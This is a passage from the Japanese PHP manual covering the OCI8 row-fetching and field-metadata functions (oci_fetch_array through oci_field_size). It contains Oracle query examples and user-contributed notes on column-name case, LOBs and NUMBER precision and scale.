$stid = oci_parse($conn, "ALTER SESSION SET NLS_DATE_FORMAT = 'YYYY-MM-DD'");
oci_execute($stid);

$stid = oci_parse($conn, 'SELECT hire_date FROM employees WHERE employee_id = 188');
oci_execute($stid);
$row = oci_fetch_array($stid, OCI_ASSOC);
echo $row['HIRE_DATE'] . "<br>\n";  // 1997-06-14 を出力

oci_free_statement($stid);
oci_close($conn);

?>

例9 oci_fetch_array() での REF CURSOR の使用例

<?php
/*
  下記のようにして PL/SQL ストアド・プロシジャーを作成します。

  CREATE OR REPLACE PROCEDURE myproc(p1 OUT SYS_REFCURSOR) AS
  BEGIN
    OPEN p1 FOR SELECT * FROM all_objects WHERE ROWNUM < 5000;
  END;
*/

$conn = oci_connect('hr', 'welcome', 'localhost/XE');
if (!$conn) {
    $e = oci_error();
    trigger_error(htmlentities($e['message'], ENT_QUOTES), E_USER_ERROR);
}

$stid = oci_parse($conn, 'BEGIN myproc(:rc); END;');
$refcur = oci_new_cursor($conn);
oci_bind_by_name($stid, ':rc', $refcur, -1, OCI_B_CURSOR);
oci_execute($stid);

// 返された REF CURSOR を実行して、ステートメント識別子のようにそこからフェッチします
oci_execute($refcur);
echo "<table border='1'>\n";
while (($row = oci_fetch_array($refcur, OCI_ASSOC+OCI_RETURN_NULLS)) != false) {
    echo "<tr>\n";
    foreach ($row as $item) {
        echo "    <td>".($item !== null ? htmlentities($item, ENT_QUOTES) : "&nbsp;")."</td>\n";
    }
    echo "</tr>\n";
}
echo "</table>\n";

oci_free_statement($refcur);
oci_free_statement($stid);
oci_close($conn);

?>

例10 oci_fetch_array() での LIMIT 風のクエリによるページング

<?php

$conn = oci_connect('hr', 'welcome', 'localhost/XE');
if (!$conn) {
    $e = oci_error();
    trigger_error(htmlentities($e['message'], ENT_QUOTES), E_USER_ERROR);
}

// データベースのバージョンを調べます
preg_match('/Release ([0-9]+)\./', oci_server_version($conn), $matches);
$oracleversion = $matches[1];

// これがページングさせたいクエリーです
$sql = 'SELECT city, postal_code FROM locations ORDER BY city';

if ($oracleversion >= 12) {
    // Oracle 12c の OFFSET / FETCH NEXT 構文を使います
    $sql = $sql . ' OFFSET :offset ROWS FETCH NEXT :numrows ROWS ONLY';
} else {
    // 古いバージョンの Oracle では、ネストしたクエリーを作り、$sql から
    // 行のサブセットを選択する必要があります。あるいは、開発時に SQL 文が
    // わかっているのなら、この方法ではなく row_number() 関数を使うことを
    // 検討しましょう。運用環境では、文字列の連結にともなう SQL インジェクション
    // の問題に気をつけましょう。
    $sql = "SELECT * FROM (SELECT a.*, ROWNUM AS my_rnum
                           FROM ($sql) a
                           WHERE ROWNUM <= :offset + :numrows)
            WHERE my_rnum > :offset";
}

$offset  = 0;  // この行数だけ飛ばす
$numrows = 5;  // 5 行を返す
$stid = oci_parse($conn, $sql);
oci_bind_by_name($stid, ':numrows', $numrows);
oci_bind_by_name($stid, ':offset', $offset);
oci_execute($stid);

while (($row = oci_fetch_array($stid, OCI_ASSOC + OCI_RETURN_NULLS)) != false) {
    echo $row['CITY'] . " " . $row['POSTAL_CODE'] . "<br>\n";
}

// 出力は
//    Beijing 190518
//    Bern 3095
//    Bombay 490231
//    Geneva 1730
//    Hiroshima 6823

oci_free_statement($stid);
oci_close($conn);

?>

例11 oci_fetch_array() で Oracle Database の暗黙の結果セットを使う例

<?php

$conn = oci_connect('hr', 'welcome', 'localhost/pdborcl');
if (!$conn) {
    $e = oci_error();
    trigger_error(htmlentities($e['message'], ENT_QUOTES), E_USER_ERROR);
}

// OCI8 2.0 (またはそれ以降) と Oracle Database 12c が必要です。
// oci_get_implicit_resultset() も参照ください。
$sql = 'DECLARE
           c1 SYS_REFCURSOR;
        BEGIN
           OPEN c1 FOR SELECT city, postal_code FROM locations WHERE ROWNUM < 4 ORDER BY city;
           DBMS_SQL.RETURN_RESULT(c1);
           OPEN c1 FOR SELECT country_id FROM locations WHERE ROWNUM < 4 ORDER BY city;
           DBMS_SQL.RETURN_RESULT(c1);
        END;';

$stid = oci_parse($conn, $sql);
oci_execute($stid);

// 注意: oci_fetch_all と oci_fetch() は、この場合は使えません
echo "<table>\n";
while (($row = oci_fetch_array($stid, OCI_ASSOC+OCI_RETURN_NULLS)) != false) {
    echo "<tr>\n";
    foreach ($row as $item) {
        echo "  <td>".($item!==null?htmlentities($item, ENT_QUOTES|ENT_SUBSTITUTE):"&nbsp;")."</td>\n";
    }
    echo "</tr>\n";
}
echo "</table>\n";

// 出力です。
//    Beijing 190518
//    Bern    3095
//    Bombay  490231
//    CN
//    CH
//    IN

oci_free_statement($stid);
oci_close($conn);

?>

注意

注意:

大文字小文字を区別せずにつくった Oracle のカラムでは、 連想配列のインデックスはすべて大文字となることに注意しましょう。

注意:

大量の行を返すクエリの場合、 oci8.default_prefetch を増やすか oci_set_prefetch() を使えばパフォーマンスが劇的に向上します。

注意:

oci_fetch_array() は ほんの少しだけ oci_fetch_assoc() や oci_fetch_row() より低速ですが、 ずっと柔軟性があります。

参考

  • oci_fetch() - クエリの次の行を内部バッファに取得する
  • oci_fetch_all() - クエリからの複数の行を二次元配列に取得する
  • oci_fetch_assoc() - クエリの次の行を連想配列で返す
  • oci_fetch_object() - クエリの次の行をオブジェクトとして返す
  • oci_fetch_row() - クエリの次の行を配列で返す
  • oci_set_prefetch() - クエリがプリフェッチする行数を設定する

User Contributed Notes

Maxwell_Smart at ThePentagon dot com 09-Aug-2002 12:29
When using OCI_RETURN_LOBS to get a BFILE (stored with a DIRECTORY) the user needs READ on the DIRECTORY.  (GRANT READ on DIRECTORY <directory name> TO <user>;) Otherwise, you'll get a cryptic error. Warning: OCILobFileOpen: ORA-22285: non-existent directory or file for FILEOPEN operation in ... on line ...
<BR>
The user that CREATEs the DIRECTORY is automatically GRANTed READ WITH THE GRANT OPTION.
junk at netburp dot com 19-Oct-2000 02:39
Here's a clue about rowid.

Don't forget about the oracle functions:

"rowidtochar" and "chartorowid"

"select rowidtochar(rowid) as FOO from table ...."

When you want to pass the rowid in a form or link, that's
the only way to go.


クエリの次の行を連想配列で返す

  • ≪ oci_fetch_array
  • oci_fetch_object ≫
  • PHP Manual
  • OCI8 関数
  • クエリの次の行を連想配列で返す

oci_fetch_assoc

(PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.1.0)

oci_fetch_assoc — クエリの次の行を連想配列で返す

説明

oci_fetch_assoc ( resource $statement ) : array

クエリの次の結果セット行を含む連想配列を返します。 配列の各エントリが、カラムに対応します。 この関数の典型的な使い方は、ループの中でコールすることです。 false が返された場合は、もう行がないことをあらわします。

oci_fetch_assoc() をコールするのは、 oci_fetch_array() で OCI_ASSOC + OCI_RETURN_NULLS を指定してコールするのと同じです。

パラメータ

statement

oci_parse() で作成して oci_execute() で実行した有効な OCI8 ステートメント ID、 あるいは REF CURSOR ステートメント ID。

返り値

連想配列を返します。 statement にもう行がない場合は false を返します。

例

例1 oci_fetch_assoc() の例

<?php

$conn = oci_connect('hr', 'welcome', 'localhost/XE');
if (!$conn) {
    $e = oci_error();
    trigger_error(htmlentities($e['message'], ENT_QUOTES), E_USER_ERROR);
}

$stid = oci_parse($conn, 'SELECT department_id, department_name FROM departments');
oci_execute($stid);

while (($row = oci_fetch_assoc($stid)) != false) {
    echo $row['DEPARTMENT_ID'] . " " . $row['DEPARTMENT_NAME'] . "<br>\n";
}

oci_free_statement($stid);
oci_close($conn);

?>

注意

注意:

行の取得例は oci_fetch_array() も参照ください。

参考

  • oci_fetch() - クエリの次の行を内部バッファに取得する
  • oci_fetch_all() - クエリからの複数の行を二次元配列に取得する
  • oci_fetch_array() - クエリの次の行を連想配列あるいは数値添字配列で返す
  • oci_fetch_object() - クエリの次の行をオブジェクトとして返す
  • oci_fetch_row() - クエリの次の行を配列で返す

User Contributed Notes

Dawid Krysiak 03-Jan-2014 01:31
Unlike oci_fetch_all(), after using oci_fetch_assoc(), LOB columns (CLOB, BLOB) are NOT returned as strings but as Oci-Lob objects. You have to use Oci-Lob->read() or load() method in order to read column content.
dbernhardt129 at gmail dot com 06-Oct-2010 02:11
Here's a simple example of using the oci_fetch_assoc function for anyone who would like to see it.

<?php
$oconn = oci_connect('ora_user','ora_pass','ora_inst');
if (!$oconn){
  $msg = "Cannot connect to Oracle ".oci_error();
} else {
  $msg = "Connected to Oracle";
}

$select_stmt = "select username from user_table";

$stid = oci_parse($oconn, $select_stmt);
oci_execute($stid);

echo "<table border='1'>\n";

while ($row = oci_fetch_assoc($stid)) {
    echo "<tr>\n";
    echo "<td>". $row["USERNAME"] . "</td>\n";
    echo "</tr>\n";
 }

echo "</table>\n";

oci_free_statement($stid);
oci_close($oconn);
?>

Make sure you capitalize the column name for referencing the item in the associative array.  Of course, this is just a simple example and you might want to do some processing on the data prior to output, but you get the idea here.


クエリの次の行をオブジェクトとして返す

  • ≪ oci_fetch_assoc
  • oci_fetch_row ≫
  • PHP Manual
  • OCI8 関数
  • クエリの次の行をオブジェクトとして返す

oci_fetch_object

(PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.1.0)

oci_fetch_object — クエリの次の行をオブジェクトとして返す

説明

oci_fetch_object ( resource $statement ) : object

クエリから、結果セットの次の行を含むオブジェクトを返します。 オブジェクトの各属性が行の各カラムをあらわします。 この関数の典型的な使い方は、ループの中で false を返すまでコールすることです。 false は、もう行がないことを意味します。

OCI8 拡張モジュールによるデータ型マッピングの 詳細については、ドライバが サポートするデータ型 を参照ください。

パラメータ

statement

oci_parse() で作成して oci_execute() で実行した有効な OCI8 ステートメント ID、 あるいは REF CURSOR ステートメント ID。

返り値

オブジェクトを返します。 オブジェクトの属性は文中のフィールドと一致しています。 statement にもう行がない場合は false を返します。

LOB カラムは LOB ディスクリプタを返します。

DATE カラムは、現行のデータフォーマットにフォーマットされた 文字列として返されます。既定のフォーマットは NLS_LANG のような Oracle 環境変数で変更したり、またはあらかじめ ALTER SESSION SET NLS_DATE_FORMAT コマンドを実行して変更します。

Oracle のデフォルトでは、文字の大小を区別しないカラム名はすべて大文字となります。 文字の大小を区別するカラム名は、属性の名前もそれと同じになります。 結果のオブジェクト配列を var_dump() すれば、 属性にアクセスするための大文字小文字の区別を確かめられます。

NULL データ・フィールドの全てに対して、属性の値は null になります。

例

例1 oci_fetch_object() の例

<?php

/*
  実行する前にテーブルを作成します。
    CREATE TABLE mytab (id NUMBER, description VARCHAR2(30));
    INSERT INTO mytab (id, description) values (1, 'Fish and Chips');
    COMMIT;
*/

$conn = oci_connect('hr', 'welcome', 'localhost/XE');
if (!$conn) {
    $e = oci_error();
    trigger_error(htmlentities($e['message'], ENT_QUOTES), E_USER_ERROR);
}

$stid = oci_parse($conn, 'SELECT id, description FROM mytab');
oci_execute($stid);

while (($row = oci_fetch_object($stid)) != false) {
    // 標準的な Oracle カラム それぞれに対して大文字の属性名を使います
    echo $row->ID . "<br>\n";
    echo $row->DESCRIPTION . "<br>\n";
}

// 出力です。
//    1
//    Fish and Chips

oci_free_statement($stid);
oci_close($conn);

?>

例2 文字の大小を区別するカラム名を持つ oci_fetch_object()

<?php

/*
  実行する前に、文字の大小を区別するカラム名を持つテーブルを作成します。
    CREATE TABLE mytab (id NUMBER, "MyDescription" VARCHAR2(30));
    INSERT INTO mytab (id, "MyDescription") values (1, 'Iced Coffee');
    COMMIT;
*/

$conn = oci_connect('hr', 'welcome', 'localhost/XE');
if (!$conn) {
    $e = oci_error();
    trigger_error(htmlentities($e['message'], ENT_QUOTES), E_USER_ERROR);
}

$stid = oci_parse($conn, 'SELECT id, "MyDescription" FROM mytab');
oci_execute($stid);

while (($row = oci_fetch_object($stid)) != false) {
    // 標準的な Oracle カラム それぞれに対して大文字の属性名を使います
    echo $row->ID . "<br>\n";
    // 文字の大小を区別するカラム名と同じケースを使います
    echo $row->MyDescription . "<br>\n";
}

// 出力です。
//    1
//    Iced Coffee

oci_free_statement($stid);
oci_close($conn);

?>

例3 LOB を持つ oci_fetch_object()

<?php

/*
  実行する前にテーブルを作成します。
    CREATE TABLE mytab (id NUMBER, description CLOB);
    INSERT INTO mytab (id, description) values (1, 'A very long string');
    COMMIT;
*/

$conn = oci_connect('hr', 'welcome', 'localhost/XE');
if (!$conn) {
    $e = oci_error();
    trigger_error(htmlentities($e['message'], ENT_QUOTES), E_USER_ERROR);
}

$stid = oci_parse($conn, 'SELECT id, description FROM mytab');
oci_execute($stid);

while (($row = oci_fetch_object($stid)) != false) {
    echo $row->ID . "<br>\n";
    // 下記では、 DESCRIPTION から最初の 11 バイトを出力します
    echo $row->DESCRIPTION->read(11) . "<br>\n";
}

// 出力です。
//    1
//    A very long

oci_free_statement($stid);
oci_close($conn);

?>

参考

  • oci_fetch() - クエリの次の行を内部バッファに取得する
  • oci_fetch_all() - クエリからの複数の行を二次元配列に取得する
  • oci_fetch_assoc() - クエリの次の行を連想配列で返す
  • oci_fetch_array() - クエリの次の行を連想配列あるいは数値添字配列で返す
  • oci_fetch_row() - クエリの次の行を配列で返す

User Contributed Notes

juanloman at hilfetech dot com 08-May-2012 08:33
Please note that you can still reference a column that has a very complex name by using the curly syntax as shown in this example:

<?php

$queryStr = 'SELECT COUNT(*) FROM FOOBAR';  //Complex name!
  // parse and exec...
$queryObj = oci_fetch_object($quertStmt);

echo 'Count: ' . $queryObj->{'COUNT(*)'};  //Curly syntax reference

?>


クエリの次の行を配列で返す

  • ≪ oci_fetch_object
  • oci_fetch ≫
  • PHP Manual
  • OCI8 関数
  • クエリの次の行を配列で返す

oci_fetch_row

(PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.1.0)

oci_fetch_row — クエリの次の行を配列で返す

説明

oci_fetch_row ( resource $statement ) : array

クエリから、結果セットの次の行を含む数値添字配列を返します。 配列の各エントリが行の各カラムに対応します。 この関数の典型的な使用法は、ループの中で false を返すまで繰り返すことです。 false は、もう行がないことをあらわします。

oci_fetch_row() をコールすることは、 oci_fetch_array() で OCI_NUM + OCI_RETURN_NULLS を指定してコールすることと同じです。

パラメータ

statement

oci_parse() で作成して oci_execute() で実行した有効な OCI8 ステートメント ID、 あるいは REF CURSOR ステートメント ID。

返り値

数値添字配列を返します。 statement にもう行がない場合は false を返します。

例

例1 oci_fetch_row() の例

<?php

$conn = oci_connect('hr', 'welcome', 'localhost/XE');
if (!$conn) {
    $e = oci_error();
    trigger_error(htmlentities($e['message'], ENT_QUOTES), E_USER_ERROR);
}

$stid = oci_parse($conn, 'SELECT department_id, department_name FROM departments');
oci_execute($stid);

while (($row = oci_fetch_row($stid)) != false) {
    echo $row[0] . " " . $row[1] . "<br>\n";
}

oci_free_statement($stid);
oci_close($conn);

?>

注意

注意:

行の取得例は oci_fetch_array() も参照ください。

参考

  • oci_fetch() - クエリの次の行を内部バッファに取得する
  • oci_fetch_all() - クエリからの複数の行を二次元配列に取得する
  • oci_fetch_array() - クエリの次の行を連想配列あるいは数値添字配列で返す
  • oci_fetch_assoc() - クエリの次の行を連想配列で返す
  • oci_fetch_object() - クエリの次の行をオブジェクトとして返す

User Contributed Notes

There are no user contributed notes for this page.


クエリの次の行を内部バッファに取得する

  • ≪ oci_fetch_row
  • oci_field_is_null ≫
  • PHP Manual
  • OCI8 関数
  • クエリの次の行を内部バッファに取得する

oci_fetch

(PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.1.0)

oci_fetch — クエリの次の行を内部バッファに取得する

説明

oci_fetch ( resource $statement ) : bool

クエリの次の行を内部バッファに取得します。このバッファへは oci_result() でアクセスできます。あるいは、 oci_define_by_name() で事前に定義した変数を使ってアクセスすることもできます。

データの取得に関する全般的な情報は oci_fetch_array() を参照ください。

パラメータ

statement

oci_parse() で作成して oci_execute() で実行した有効な OCI8 ステートメント ID、 あるいは REF CURSOR ステートメント ID。

返り値

成功した場合に true、 statement にもう行がない場合に false を返します。

例

例1 oci_fetch() での定義済みの変数の使用

<?php

$conn = oci_connect('hr', 'welcome', 'localhost/XE');
if (!$conn) {
    $e = oci_error();
    trigger_error(htmlentities($e['message'], ENT_QUOTES), E_USER_ERROR);
}

$sql = 'SELECT location_id, city FROM locations WHERE location_id < 1200';
$stid = oci_parse($conn, $sql);

// 実行前に定義しておく必要があります
oci_define_by_name($stid, 'LOCATION_ID', $locid);
oci_define_by_name($stid, 'CITY', $city);

oci_execute($stid);

// フェッチするたびに、次の行のデータが定義済みの変数に格納されます
while (oci_fetch($stid)) {
    echo "Location id $locid is $city<br>\n";
}

// 表示:
//   Location id 1000 is Roma
//   Location id 1100 is Venice

oci_free_statement($stid);
oci_close($conn);

?>

例2 oci_fetch() と oci_result() の使用例

<?php

$conn = oci_connect('hr', 'welcome', 'localhost/XE');
if (!$conn) {
    $e = oci_error();
    trigger_error(htmlentities($e['message'], ENT_QUOTES), E_USER_ERROR);
}

$sql = 'SELECT location_id, city FROM locations WHERE location_id < 1200';
$stid = oci_parse($conn, $sql);
oci_execute($stid);

while (oci_fetch($stid)) {
    echo oci_result($stid, 'LOCATION_ID') . " is ";
    echo oci_result($stid, 'CITY') . "<br>\n";
}

// 表示:
//   1000 is Roma
//   1100 is Venice

oci_free_statement($stid);
oci_close($conn);

?>

注意

注意:

Oracle Database の暗黙の結果セットからの行は返しません。 代わりに oci_fetch_array() を使いましょう。

参考

  • oci_define_by_name() - PHP の変数を、クエリで取得するカラムに関連づける
  • oci_fetch_all() - クエリからの複数の行を二次元配列に取得する
  • oci_fetch_array() - クエリの次の行を連想配列あるいは数値添字配列で返す
  • oci_fetch_assoc() - クエリの次の行を連想配列で返す
  • oci_fetch_object() - クエリの次の行をオブジェクトとして返す
  • oci_fetch_row() - クエリの次の行を配列で返す
  • oci_result() - フェッチした行からフィールドの値を取得する

User Contributed Notes

There are no user contributed notes for this page.


フェッチしたフィールドが null であるかどうかを確認する

  • ≪ oci_fetch
  • oci_field_name ≫
  • PHP Manual
  • OCI8 関数
  • フェッチしたフィールドが null であるかどうかを確認する

oci_field_is_null

(PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.1.0)

oci_field_is_null — フェッチしたフィールドが null であるかどうかを確認する

説明

oci_field_is_null ( resource $statement , mixed $field ) : bool

statement の現在の行の、 指定したフィールド field が null であるかどうかを調べます。

パラメータ

statement

有効な OCI ステートメント ID。

field

(1 から始まる) フィールド番号、またはフィールド名。

返り値

field が null の場合に true、 それ以外の場合に false を返します。

例

例1 oci_field_name() の例

<?php

// 以下のテーブルを用意します
//   CREATE TABLE mytab (c1 NUMBER);
//   INSERT INTO mytab VALUES (1);
//   INSERT INTO mytab VALUES (NULL);

$conn = oci_connect("hr", "hrpwd", "localhost/XE");
if (!$conn) {
    $m = oci_error();
    trigger_error(htmlentities($m['message']), E_USER_ERROR);
}

$stid = oci_parse($conn, "SELECT * FROM mytab");
oci_execute($stid);

while (($row = oci_fetch_array($stid, OCI_RETURN_NULLS)) != false) {
    $ncols = oci_num_fields($stid);
    for ($col = 1; $col <= $ncols; $col++) {
        var_dump(oci_field_is_null($stid, $col));
    }
}

// 出力は
//    bool(false)
//    bool(true)

oci_free_statement($stid);
oci_close($conn);

?>

注意

注意:

PHP バージョン 5.0.0 以前では、代わりに ocicolumnisnull() を使用しなければなりません。 まだこの名前を使用することができ、下位互換性のため oci_field_is_null() への別名として残されていますが、 推奨されません。

User Contributed Notes

Raju Joseph [RajuJoseph at usa dot net] 14-Sep-2003 07:36
<?php

// Connect to Oracle database.

//        Username  : Raju
//        Password  : Password
//        Database  : Database_name

  $conn=OCILogon("Raju", "Password", "DATABASE_NAME");
  if ( ! $conn ) {
    echo "Unable to connect: " . var_dump( OCIError() );
    die();
  }

// Select Data...

// DESC[RIBE] COMPANY

//   CompanyID          VARCHAR2(10)
//   CompanyName      VARCHAR2(30)
//   LastUserID           VARCHAR2(15)
//   LastDate              DATE
//

  $query = "SELECT * FROM Company";

  $result = OCIParse($conn, $query);
  OCIExecute($result, OCI_DEFAULT);

while (OCIFetchInto ($result, $row, OCI_ASSOC)) {

// Usage of OCIcolumnisnull()
if (OCIcolumnisnull($result, 'CompanyName')) {

    print ( "<P>" . $row['CompanyID'] . "--->" . "Company Name NOT found !!  " . "<P>"  );
}
else {

    print ("<P>" . $row['CompanyID'] . "--->" . $row['CompanyName'] . "<P>"  );
}
}

// Close connection from Oracle...

  OCILogoff($conn);
?>


文からのフィールド名を返す

  • ≪ oci_field_is_null
  • oci_field_precision ≫
  • PHP Manual
  • OCI8 関数
  • 文からのフィールド名を返す

oci_field_name

(PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.1.0)

oci_field_name — 文からのフィールド名を返す

説明

oci_field_name ( resource $statement , mixed $field ) : string

field の名前を返します。

パラメータ

statement

有効な OCI ステートメント ID。

field

フィールド番号 (1 から始まる) あるいは名前のいずれか。

返り値

名前を表す文字列、あるいはエラー時に false を返します。

例

例1 oci_field_name() の例

<?php

// Create the table with:
//   CREATE TABLE mytab (number_col NUMBER, varchar2_col varchar2(1),
//                       clob_col CLOB, date_col DATE);

$conn = oci_connect("hr", "hrpwd", "localhost/XE");
if (!$conn) {
    $m = oci_error();
    trigger_error(htmlentities($m['message']), E_USER_ERROR);
}

$stid = oci_parse($conn, "SELECT * FROM mytab");
oci_execute($stid, OCI_DESCRIBE_ONLY); // Use OCI_DESCRIBE_ONLY if not fetching rows

echo "<table border=\"1\">";
echo "<tr>";
echo "<th>名前</th>";
echo "<th>型</th>";
echo "</tr>\n";

$ncols = oci_num_fields($stid);

for ($i = 1; $i <= $ncols; $i++) {
    $column_name  = oci_field_name($stid, $i);
    $column_type  = oci_field_type($stid, $i);

    echo "<tr>";
    echo "<td>$column_name</td>";
    echo "<td>$column_type</td>";
    echo "</tr>\n";
}

echo "</table>\n";

// 出力は
//    名前          型
//    NUMBER_COL    NUMBER
//    VARCHAR2_COL  VARCHAR2
//    CLOB_COL      CLOB
//    DATE_COL      DATE

oci_free_statement($stid);
oci_close($conn);

?>

注意

注意:

PHP バージョン 5.0.0 以前では、代わりに ocicolumnname() を使用しなければなりません。 まだこの名前を使用することができ、下位互換性のため oci_field_name() への別名として残されていますが、 推奨されません。

参考

  • oci_num_fields() - ある文における結果のカラム数を返す
  • oci_field_type() - フィールドのデータ型の名前を返す
  • oci_field_size() - フィールドサイズを返す

User Contributed Notes

Norbert 08-Jun-2011 01:50
This does not work for empty tables.
Paul 31-Jul-2010 06:25
Beware, the field index starts with 1, not 0. It's a bit counter-intuitive.


フィールドの精度を問い合わせる

  • ≪ oci_field_name
  • oci_field_scale ≫
  • PHP Manual
  • OCI8 関数
  • フィールドの精度を問い合わせる

oci_field_precision

(PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.1.0)

oci_field_precision — フィールドの精度を問い合わせる

説明

oci_field_precision ( resource $statement , mixed $field ) : int

field の精度を返します。

FLOAT 型カラムの精度は 0 でなく桁数は -127 となります。 もし精度が 0 の場合、カラムは NUMBER 型、そうでなければ NUMBER(精度, 桁数) となります。

パラメータ

statement

有効な OCI ステートメント ID。

field

フィールド番号 (1 から始まる) あるいは名前のいずれか。

返り値

精度を表す整数値、あるいはエラー時に false を返します。

例

例1 oci_field_precision() の例

<?php

// 以下のテーブルを用意します
//   CREATE TABLE mytab (c1 NUMBER, c2 FLOAT, c3 NUMBER(4), c4 NUMBER(5,3));

$conn = oci_connect("hr", "hrpwd", "localhost/XE");
if (!$conn) {
    $m = oci_error();
    trigger_error(htmlentities($m['message']), E_USER_ERROR);
}

$stid = oci_parse($conn, "SELECT * FROM mytab");
oci_execute($stid, OCI_DESCRIBE_ONLY); // Use OCI_DESCRIBE_ONLY if not fetching rows

$ncols = oci_num_fields($stid);
for ($i = 1; $i <= $ncols; $i++) {
    echo oci_field_name($stid, $i) . " "
        . oci_field_precision($stid, $i) . " "
        . oci_field_scale($stid, $i) . "<br>\n";
}

// 出力は
//   C1    0 -127
//   C2  126 -127
//   C3    4    0
//   C4    5    3

oci_free_statement($stid);
oci_close($conn);

?>

注意

注意:

PHP バージョン 5.0.0 以前では、代わりに ocicolumnprecision() を使用しなければなりません。 まだこの名前を使用することができ、下位互換性のため oci_field_precision() への別名として残されていますが、 推奨されません。

参考

  • oci_field_scale() - フィールドの桁数を問い合わせる
  • oci_field_type() - フィールドのデータ型の名前を返す

User Contributed Notes

webmaster at smwebdesigns dot com 15-Oct-2007 05:58
I did not test well before posting previous code.  This if statement works and the other does not.

if( ocicolumnscale($R, $i ) != 129 )
{
    $int_decimal = ocicolumnscale($R, $i );
    $int_length = ocicolumnprecision($R, $i) - $int_decimal;
}
webmaster at smwebdesigns dot com 11-Oct-2007 12:39
I've found that when using ocicolumnprecision or oci_field_precision it will not show you the decimal places if you are are reading from tables with decimals.  You can use ocicolumnscale or oci_field_scale to find the decimal.

if( ocicolumnscale($R, $i ) > 0 )
{
    $int_decimal = ocicolumnscale($R, $i );
    $int_length = ocicolumnprecision($R, $i) - $int_decimal;
}


フィールドの桁数を問い合わせる

  • ≪ oci_field_precision
  • oci_field_size ≫
  • PHP Manual
  • OCI8 関数
  • フィールドの桁数を問い合わせる

oci_field_scale

(PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.1.0)

oci_field_scale — フィールドの桁数を問い合わせる

説明

oci_field_scale ( resource $statement , mixed $field ) : int

field に対応するカラムの桁数を返します。

FLOAT 型カラムの精度は 0 でなく桁数は -127 となります。 もし精度が 0 の場合、カラムは NUMBER 型、そうでなければ NUMBER(精度, 桁数) となります。

パラメータ

statement

有効な OCI ステートメント ID。

field

フィールド番号 (1 から始まる) あるいは名前のいずれか。

返り値

桁数を表す整数値、あるいはエラー時に false を返します。

例

例1 oci_field_scale() の例

<?php

// 以下のテーブルを用意します
//   CREATE TABLE mytab (c1 NUMBER, c2 FLOAT, c3 NUMBER(4), c4 NUMBER(5,3));

$conn = oci_connect("hr", "hrpwd", "localhost/XE");
if (!$conn) {
    $m = oci_error();
    trigger_error(htmlentities($m['message']), E_USER_ERROR);
}

$stid = oci_parse($conn, "SELECT * FROM mytab");
oci_execute($stid, OCI_DESCRIBE_ONLY); // 行をフェッチしない場合は OCI_DESCRIBE_ONLY を使います

$ncols = oci_num_fields($stid);
for ($i = 1; $i <= $ncols; $i++) {
    echo oci_field_name($stid, $i) . " "
        . oci_field_precision($stid, $i) . " "
        . oci_field_scale($stid, $i) . "<br>\n";
}

// 出力は
//   C1    0 -127
//   C2  126 -127
//   C3    4    0
//   C4    5    3

oci_free_statement($stid);
oci_close($conn);

?>

注意

注意:

PHP バージョン 5.0.0 以前では、代わりに ocicolumnscale() を使用しなければなりません。 まだこの名前を使用することができ、下位互換性のため oci_field_scale() への別名として残されていますが、 推奨されません。

参考

  • oci_field_precision() - フィールドの精度を問い合わせる
  • oci_field_type() - フィールドのデータ型の名前を返す

User Contributed Notes

VLroyrenn 20-Apr-2018 04:28
If you're converting SQL values to their respective float and int values based on scale and precision like I am, there's a catch, here.

This is a slimmed-down version of the conversion logic I'm using :

<?php
$col = [
    'id' => $field_id,
    'name' => oci_field_name($statement, $field_id),
    'type' => oci_field_type($statement, $field_id),
    'scale' => oci_field_scale($statement, $field_id);
    'precision' => oci_field_precision($statement, $field_id);
]

$str_data = oci_result($statement, $field_id)

switch($col['type']) {
    case 'NUMBER':
        if ($col['precision'] !== 0 && $col['scale'] === -127) {
            // A binary float
            $data = floatval($str_data);
        } else if($col['scale'] === 0) {
            // An integer
            $data = intval($str_data);
        } else {
            // A fixed-point decimal number, which has no equivalent in PHP, so float
            $data = floatval($str_data);
        }

        break;

    default:
        $data = $str_data;
        break;
}

echo("{$col['name']} : $str_data ({$col['type']} ({$col['precision']}, {$col['scale']})) -> $data\n");
?>

What the doc doesn't say is that any number column that was defined without a scale parameter counts as a plain NUMBER(), which always has a precision of 0 and a scale of -127, so they get interpreted as floats even when they should be integers.

What the doc also doesn't say is that __all analytics functions that return numbers return a plain NUMBER()__, so something like COUNT(*), RANK() or FIRST_VALUE(foo) is still going to net you a float.

Be careful with these if you have any type-sensitive code that relies on those values (I'm personally very fond of using type-hinting and strict_types = 1).


フィールドサイズを返す

  • ≪ oci_field_scale
  • oci_field_type_raw ≫
  • PHP Manual
  • OCI8 関数
  • フィールドサイズを返す

oci_field_size

(PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.1.0)

oci_field_size — フィールドサイズを返す

説明

oci_field_size ( resource $statement , mixed $field ) : int

フィールド field のサイズを返します。

パラメータ

statement

有効な OCI ステートメント ID。

field

フィールドのインデックス (1 から始まるもの) あるいは名前。

返り値

フィールド field のサイズを表すバイト数、あるいは エラー時に false を返します。

例

例1 oci_field_size() の例

<?php

// 以下のテーブルを用意します
//   CREATE TABLE mytab (number_col NUMBER, varchar2_col varchar2(1),
//                       clob_col CLOB, date_col DATE);

$conn = oci_connect("hr", "hrpwd", "localhost/XE");
if (!$conn) {
    $m = oci_error();
    trigger_error(htmlentities($m['message']), E_USER_ERROR);
}

$stid = oci_parse($conn, "SELECT * FROM mytab");
oci_execute($stid, OCI_DESCRIBE_ONLY); // 行をフェッチしない場合は OCI_DESCRIBE_ONLY を使います

echo "<table border=\"1\">\n";
echo "<tr>";
echo "<th>Name</th>";
echo "<th>Type</th>";
echo "<th>Length</th>";
echo "</tr>\n";

$ncols = oci_num_fields($stid);

for ($i = 1; $i <= $ncols; $i++) {
    $column_name  = oci_field_name($stid, $i);
    $column_type  = oci_field_type($stid, $i);
    $column_size  = oci_field_size($stid, $i);

    echo "<tr>";
    echo "<td>$column_name</td>";
    echo "<td>$column_type</td>";
    echo "<td>$column_size</td>";
    echo "</tr>\n";
}

echo "</table>\n";

// 出力は
//    Name           Type       Length
//    NUMBER_COL    NUMBER        22
//    VARCHAR2_COL  VARCHAR2       1
//    CLOB_COL      CLOB        4000
//    DATE_COL      DATE           7

oci_free_statement($stid);
oci_close($conn);

?>
